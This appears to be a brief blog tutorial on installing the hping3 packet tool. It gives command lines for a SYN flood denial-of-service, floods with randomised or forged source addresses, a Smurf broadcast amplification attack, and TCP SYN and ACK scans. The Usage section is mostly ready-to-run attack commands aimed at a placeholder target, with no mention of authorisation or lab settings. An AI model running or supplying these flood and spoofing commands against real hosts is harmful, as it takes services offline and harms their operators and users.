How to Install hping3 & Flood DoS Attack

Published on January 7, 2021 1 min read

A Denial of Service (DoS) attack is an attempt to make an online service unavailable by overwhelming it with traffic.

In this article, I’m going to install hping3 and show some usage of hping3. Let’s get started.

Table of Contents

  1. Overview
  2. Installation
  3. Usage

Overview

hping is a command-line oriented TCP/IP packet assembler/analyzer. The interface is inspired to the ping(8) unix command, but hping isn’t only able to send ICMP echo requests. It supports TCP, UDP, ICMP and RAW-IP protocols, has a traceroute mode, the ability to send files between a covered channel, and many other features.

While hping was mainly used as a security tool in the past, it can be used in many ways by people that don’t care about security to test networks and hosts. A subset of the stuff you can do using hping:

  • Firewall testing
  • Advanced port scanning
  • Network testing, using different protocols, TOS, fragmentation
  • Manual path MTU discovery
  • Advanced traceroute, under all the supported protocols
  • Remote OS fingerprinting
  • Remote uptime guessing
  • TCP/IP stacks auditing
  • hping can also be useful to students that are learning TCP/IP.

Installation

Run this command to install hping3:

sudo apt install hping3 -y

Now run this to see all available options:

hping3 -h

Usage

DOS attack using hping3:

sudo hping3 -S --flood -V -p 80 DOMAIN/IP

TCP SYN scan:

sudo hping3 -S DOMAIN/IP -p 80 -c 1

TCP ACK scan:

sudo hping3 -A DOMAIN/IP -p 80 -c 1

Attack from random IP:

sudo hping3 DOMAIN/IP -q -n -d 120 -S -p 80 --flood --rand-source

Smurf attack:

sudo hping3 -1 --flood -a 192.168.33.123 192.168.1.255

Attack from fake IP:

sudo hping3 -a <FAKE IP> <target> -S -q -p 80 --faster -c2
# example
sudo hping3 -a 192.168.33.123 192.168.1.255 -S -q -p 80 --faster -c2

You can take a look at this article.

That’s it. Thanks for reading. 🙂

Monthly Newsletter

One email a month, packed with the latest tutorials, delivered straight to your inbox.
We'll never send any spam or promotional emails.
Author

Hey, I'm Md Obydullah. I build open-source projects and write article on Laravel, Linux server, modern JavaScript and more on web development.

Follow